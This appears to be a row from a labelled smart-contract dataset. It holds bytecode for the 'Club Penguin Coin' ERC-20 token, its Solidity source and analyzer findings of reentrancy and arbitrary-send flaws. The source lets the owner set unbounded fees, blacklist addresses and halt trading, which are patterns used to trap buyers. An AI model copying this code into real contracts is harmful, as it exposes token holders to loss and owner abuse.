000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5f4476c72d51caf1e14024296f7471d3358c7a04871681e7f4f3e6077fb17fc64736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,390 |
0x944b89f20394dbb08db903711a3e0a95ba3af735 | /*
5% Buy Tax / 8% Sell Tax
https://t.me/ClubPenguinCoin
https://www.clubpenguincoineth.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ClubPenguinCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Club Penguin Coin";
string private constant _symbol = "CPC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2EA321042b3046c2A9a7CDa9610d5f65e10538C0);
address payable private _marketingAddress = payable(0x2EA321042b3046c2A9a7CDa9610d5f65e10538C0);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104545780638f9a55c01461047457806395d89b411461048a57806398a5c315146104b657600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638da5cb5b1461043657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b610601565b005b34801561020a57600080fd5b5060408051808201909152601181527021b63ab1102832b733bab4b71021b7b4b760791b60208201525b6040516102419190611a2a565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a7f565b6106a0565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50670de0b6b3a76400005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611aab565b6106b7565b34801561030357600080fd5b506102c960185481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060155461029a906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611aec565b610720565b34801561037557600080fd5b506101fc610384366004611b19565b61076b565b34801561039557600080fd5b506101fc6107b3565b3480156103aa57600080fd5b506102c96103b9366004611aec565b6107fe565b3480156103ca57600080fd5b506101fc610820565b3480156103df57600080fd5b506101fc6103ee366004611b34565b610894565b3480156103ff57600080fd5b506102c960165481565b34801561041557600080fd5b506102c9610424366004611aec565b60116020526000908152604090205481565b34801561044257600080fd5b506000546001600160a01b031661029a565b34801561046057600080fd5b506101fc61046f366004611b19565b6108c3565b34801561048057600080fd5b506102c960175481565b34801561049657600080fd5b5060408051808201909152600381526243504360e81b6020820152610234565b3480156104c257600080fd5b506101fc6104d1366004611b34565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4d565b61093a565b34801561050257600080fd5b5061026a610511366004611a7f565b610978565b34801561052257600080fd5b5061026a610531366004611aec565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7f565b6109d9565b34801561058757600080fd5b506102c9610596366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b34565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aec565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3c565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9d565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3c565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3c565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3c565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3c565b60005b82811015610a74578160056000868685818110610a2557610a25611c71565b9050602002016020810190610a3a9190611aec565b6001600160a01b0316815260